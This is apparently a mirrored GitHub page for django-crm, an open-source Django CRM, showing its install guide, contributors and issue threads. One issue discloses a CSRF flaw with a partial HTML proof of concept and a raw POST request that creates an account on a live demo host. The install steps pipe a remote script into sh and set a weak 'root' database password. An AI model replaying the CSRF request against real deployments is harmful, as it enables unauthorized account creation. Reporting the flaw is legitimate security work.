Coder Social home page Coder Social logo

micropyramid / django-crm Goto Github PK

View Code? Open in Web Editor NEW
1.8K 1.8K 849.0 6.85 MB

Open Source CRM based on Django

Home Page: https://bottlecrm.io

License: MIT License

Python 35.15% HTML 15.78% Dockerfile 0.04% Shell 0.05% CSS 19.08% SCSS 29.21% JavaScript 0.70%
crm crm-online crm-platform crm-system django django-crm open-source python3

django-crm's Introduction

Django-CRM

============

Django CRM is opensource CRM developed on django framework. It has all the basic features of CRM to start with. We welcome code contributions and feature requests via github.

This is divided into three parts

  1. Backend API Django CRM
  2. Frontend UI React CRM
  3. Mobile app Flutter CRM

Runcode

Runcode is online developer workspace. It is cloud based simple, secure and ready to code workspaces, assuring high performance & fully configurable coding environment. With runcode you can run django-crm(API) with one-click.

  • Open below link to create django-crm workspace on RunCode. It will cretae django-crm API

    RunCode

  • After running API, Go to Frontend UI React CRM project to cretae new workpsace with runcode.

Docs

Please Click Here for latest documentation.

Project Modules

This project contains the following modules:

  • Contacts
  • Companies
  • Leads
  • Accounts
  • Invoices (todo)
  • Cases (todo)
  • Opportunity (todo)

Try for free here

Installation Guide

We recommend ubuntu 20.04. These instructions are verified for ubuntu 20.04.

To install system requirments

sudo apt update && sudo apt upgrade -y

sudo apt install python-is-python3 xvfb libfontconfig wkhtmltopdf python3-dev python3-pip build-essential libssl-dev libffi-dev python3-venv redis-server redis-tools virtualenv -y

Install dependencies

Optional (based on personal choice)
sudo apt update && sudo apt upgrade -y && sudo apt install zsh python3-virtualenv

sh -c "$(wget -O- https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"

pip install virtualenvwrapper

echo "source /home/ubuntu/.local/bin/virtualenvwrapper.sh" >> ~/.zshrc

If you want to install postgres, follow https://www.postgresql.org/download/

To modify postgresql root password

sudo -u postgres psql
ALTER USER postgres WITH PASSWORD 'root';

Create and activate a virtual environment.

if you installed and configured virtualenv wrapper then use the following

mkvirtualenv <env_name>
workon <env_name>

or else

virtualenv venv
source venv/bin/activate

Install the project's dependency after activating env

pip install -r requirements.txt

Env variables

  • Then refer to env.md for environment variables and keep those in the .env file in the current folder as your project is in.

Docker / docker-compose

in order to use docker, please run the next commands after cloning repo:

docker build -t djcrm:1 -f docker/Dockerfile .
docker-compose -f docker/docker-compose.yml up

Note: you must have docker/docker-compose installed on your host.

next steps

python manage.py migrate
python manage.py runserver

Start celery worker in another terminal window

celery -A crm worker --loglevel=INFO

Useful tools and packages

pipdeptree # to see pip dependancy tree
black # to format code to meet python coding standards
pip-check -H  # to see upgradable packages
isort # to sort imports in python

Community

Get help or stay up to date.

Credits

Contributors

This project exists thanks to all the people who contribute!

image

Feature requests and bug reports

We welcome your feedback and support, raise github issue if you want to report a bug or request new feature. we are glad to help.

For commercial support Contact us

Trigger deploy

django-crm's People

Contributors

andrejgorodnij avatar andresovichh avatar ashwin31 avatar cavalcantelucas avatar chaitu210 avatar codacy-badger avatar codecakes avatar codetriage-readme-bot avatar deepsourcebot avatar donny42 avatar fboaventura avatar fcorallini avatar hanson2010 avatar icoldplayer avatar jeremyklein avatar jsayles avatar jtr860830 avatar juliusbentz avatar keminghe avatar monkeywithacupcake avatar montao avatar nikhila05 avatar pataquets avatar rayudu4u avatar sauravpanda avatar shaikhmudassir avatar sushilkhadka165 avatar timgates42 avatar vineeshan avatar zulupro avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

django-crm's Issues

How to add my user in CRM ?

Hello, I am get source Django-CRM. Start server by "python manage.py runserver", open login page to CRM , but I dont know how to add my account data in to. Can you tell me how to add account date to the CRM?

add wiki

  • installation
  • development process
  • release process

Exception Type FilterError sass: not found

trying to start your crm but gets into problems

Exception Type: FilterError
Exception Value: /bin/sh: 1: sass: not found

I am wondering if there is a dependicy missing?

CSRF vulnerability almost all forms

For example USer creation form has no csrf token validation, so that attacker can create own account by sending malicious link

POC :

<tr><td>last_name</td><td><input type="text" value="abuthahir++" name="last_name"></td></tr>
<tr><td>username</td><td><input type="text" value="abu" name="username"></td></tr>
<tr><td>email</td><td><input type="text" value="[email protected]" name="email"></td></tr>
<tr><td>role</td><td><input type="text" value="" name="role"></td></tr>
<tr><td>password</td><td><input type="text" value="reset!23" name="password"></td></tr>
</table><input type="submit" value="http://django-crm.micropyramid.com/users/create/"></form></html>```




EXPLOIT REQUEST:

POST /users/create/ HTTP/1.1
Host: django-crm.micropyramid.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://django-crm.micropyramid.com/users/create/
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
Cookie: sessionid=g8up9d4xvqga5rwk1m7f4e4mhxmy111
Connection: close
Upgrade-Insecure-Requests: 1

first_name=syed&last_name=abuthahir++&username=abu&email=test%40gmail.com&role=&password=reset%2123

Can't access 'users'

After creating a superuser and logging in, I do not see the tab with 'Users'.
Any idea?

FilterError at /login/

Unable to apply CachedCompilerFilter (sass --scss {infile} {outfile})
Could not find an option named "scss".

Usage: sass [output]

COMPRESS_PRECOMPILERS = (
('text/less', 'lessc {infile} {outfile}'),
('text/x-sass', 'sass {infile} {outfile}'),
('text/x-scss', 'sass --scss {infile} {outfile}'),
)

I removed the -css on settings and work.
What is wrong?

add invoicing feature

  • create invoice and save it or keep it as draft
  • send invoice to client
  • add partial payments
  • list all invoices
  • birds eye view dashboard

Email and Planner apps disabled in urls.py

You have the email and planner apps commented out in the main crm/urls.py. Is this intentional as you are still developing this CRM? Are you planning to add documentation on how to enable these features at http://django-crm.readthedocs.io ? These features/documentation would be very helpful!

# url(r'^emails/', include('emails.urls', namespace='emails')),
# url(r'^planner/', include('planner.urls', namespace='planner')),

Hello vineeshan

There is already a quite far developed django based crm.
I would appreciate when we could start to work together on the same project.
Let us discuss by email [email protected]

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.